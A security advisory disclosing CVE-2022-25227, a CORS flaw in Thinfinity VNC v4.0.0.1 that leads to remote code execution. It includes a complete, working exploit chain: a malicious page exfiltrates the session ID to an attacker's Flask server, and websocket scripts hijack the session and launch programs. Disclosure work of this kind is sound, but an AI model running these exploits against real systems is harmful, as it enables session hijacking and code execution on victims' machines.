

Advisories

Thinfinity VNC v4.0.0.1 - CORS Misconfiguration to RCE

8,3

High

Discovered by

Oscar Uribe

Offensive Team, Fluid Attacks

Summary

Full name

Thinfinity VNC v4.0.0.1 - CORS Misconfiguration to RCE

Code name

Clapton

State

Public

Release date

17 may 2022

Affected product

Thinfinity VNC

Affected version(s)

v4.0.0.1

Vulnerability name

CORS Misconfiguration

Vulnerability type

134. Insecure or unset HTTP headers - CORS

Remotely exploitable

Yes

CVSS v3.1 vector string

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

CVSS v3.1 base score

8.3

Exploit available

Yes

CVE ID(s)

CVE-2022-25227

Description

Thinfinity VNC v4.0.0.1 contains a Cross-Origin Resource Sharing (CORS) vulnerability which can allow an unprivileged remote attacker, if they can trick a user into browse malicious site, to obtain an ID that can be used to send websocket requests and achieve RCE.

Proof of Concept

Create a malicious site with the following content and send it to the victim.

<!DOCTYPE html>
<html>
<body>
<center>
<h2>CORS Thinfinity POC Exploit</h2>
<h3>Extract ID</h3>

<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>

<script>
function cors() {

var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
 if (this.readyState == 4 && this.status == 200) {

 response = JSON.parse(this.responseText)
 id_str = response['id']

 id_str = id_str.slice(1, id_str.length - 1)

 alert("Exfiltrated ID: " + id_str)
 alert("Do you want to send the exploit?")

 const flask_http = new XMLHttpRequest();

 // Server to exfiltrate the websocket id

 // CHANGE THIS
 var exf_server = "127.0.0.1:5000"
 const url = "http://" + exf_server + "/cors?id=" + id_str


 // Send ID to flask application
 flask_http.open("GET", url)
 flask_http.send()

 flask_http.onreadystatechange = function() {
 alert('Done!!!')
 }

 }
};

// exfiltrate ID using CORS vulnerability

// CHANGE THIS

var server = "172.16.28.140:8081"
xhttp.open("GET", "http://" + server + "/vnc/cmd?cmd=connect&wscompression=true&destAddr=&screenWidth=1308&screenHeight=741&orientation=90&browserWidth=654&browserHeight=627&supportCur=true&id=null&devicePixelRatio=1&isMobile=false&isLandscape=true&supportsFullScreen=true&webapp=false", true);
xhttp.withCredentials = true;
xhttp.send();
}


</script>

</body>
</html>

Create a web socket connection against the target server using the exfiltrated ID. The following PoC sends the Ctrl+Esc keystroke combination to the server.

from websocket import create_connection
import time

# CHANGE THIS
id_str ="D6647736-7489-4FA3-9620-25F2DC7FA1F6"

ws = create_connection("ws://172.16.28.140:8081/vnc/%7B" + id_str + "%7D")
command = "cmd=fkey&key=CtrlEsc&id={" + id_str + "}"
ws.send(command)

The exploit below can be used to send arbitrary commands to the server after the ID is exfiltrated. It uses the ID to hijack the VNC connection and send keystrokes or mouse moves to the server.

Exploit

Run the flask application and trick a user with a session in Thinfinity to visit the page.

# export FLASK_APP=exploit_thinfinity
# flask run --host=0.0.0.0

from flask import Flask, request, redirect
from websocket import create_connection
import time
import socket

app = Flask(__name__)


# CHANGE THIS
server = "192.168.1.7:8081"


def current_ip():
 return([l for l in ([ip for ip in socket.gethostbyname_ex(socket.gethostname())[2] if not ip.startswith("127.")][:1], [[(s.connect(('8.8.8.8', 53)), s.getsockname()[0], s.close()) for s in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1]]) if l][0][0])


def send_enter(ws, str_id):
 ws.send("cmd=keyb&key=13&char=0&action=down&id={" + str_id + "}")
 time.sleep(1)

def send_ctrl_esc(ws, str_id):
 ws.send("cmd=fkey&key=CtrlEsc&id={%s}" % str_id)
 time.sleep(1)

def send_text(ws, cmd, str_id):

 for c in cmd:
 key = str(ord(c))

 command = "cmd=keyb&key=66&action=down&id={%s}&char=%s&location=0" % (str_id,key)
 ws.send(command)
 time.sleep(0.2)

 time.sleep(2)


@app.route("/exploit")
def about():

 ip = request.host.split(':')[0]

 return """
 <!DOCTYPE html>
 <html>
 <body>
 <center>
 <h2>CORS Thinfinity POC Exploit</h2>
 <h3>Extract ID</h3>

 <div id="demo">
 <button type="button" onclick="cors()">Exploit</button>
 </div>

 <script>
 function cors() {

 var xhttp = new XMLHttpRequest();
 xhttp.onreadystatechange = function() {
 if (this.readyState == 4 && this.status == 200) {

 response = JSON.parse(this.responseText)
 id_str = response['id']

 id_str = id_str.slice(1, id_str.length - 1)

 alert("Exfiltrated ID: " + id_str)
 alert("Do you want to send the exploit?")

 const flask_http = new XMLHttpRequest();

 // Server to exfiltrate the websocket id

 // CHANGE THIS
 var exf_server = "%s:5000"
 const url = "http://" + exf_server + "/cors?id=" + id_str


 // Send ID to flask application
 flask_http.open("GET", url)
 flask_http.send()

 flask_http.onreadystatechange = function() {
 alert('Done!!!')
 }

 }
 };

 // exfiltrate ID using CORS vulnerability

 // CHANGE THIS

 var server = "%s"
 xhttp.open("GET", "http://" + server + "/vnc/cmd?cmd=connect&wscompression=true&destAddr=&screenWidth=1308&screenHeight=741&orientation=90&browserWidth=654&browserHeight=627&supportCur=true&id=null&devicePixelRatio=1&isMobile=false&isLandscape=true&supportsFullScreen=true&webapp=false", true);
 xhttp.withCredentials = true;
 xhttp.send();
 }


 </script>
 </body>
 </html>
    """ % (ip, server)


@app.route('/cors',methods=['GET'])
def cors():
    str_id = request.args.get('id')
    print(str_id)



    socket_url = "ws://" + server +  "/vnc/%7B"+ str_id +"%7D"
    ws = create_connection(socket_url)

    send_ctrl_esc(ws,str_id)

    send_text(ws,"run",str_id)
    send_enter(ws,str_id)

    send_text(ws,"calc.exe",str_id)
    send_enter(ws,str_id)

    return str_id

@app.route("/")
def index():
    return redirect('/exploit')

Mitigation

By 2022-05-17 there is not a patch resolving the issue.

References

Vendor page https://www.cybelesoft.com/thinfinity/

Timeline



IA generativa

11 abr 2022



Vendor contacted

11 abr 2022



Public disclosure

17 may 2022

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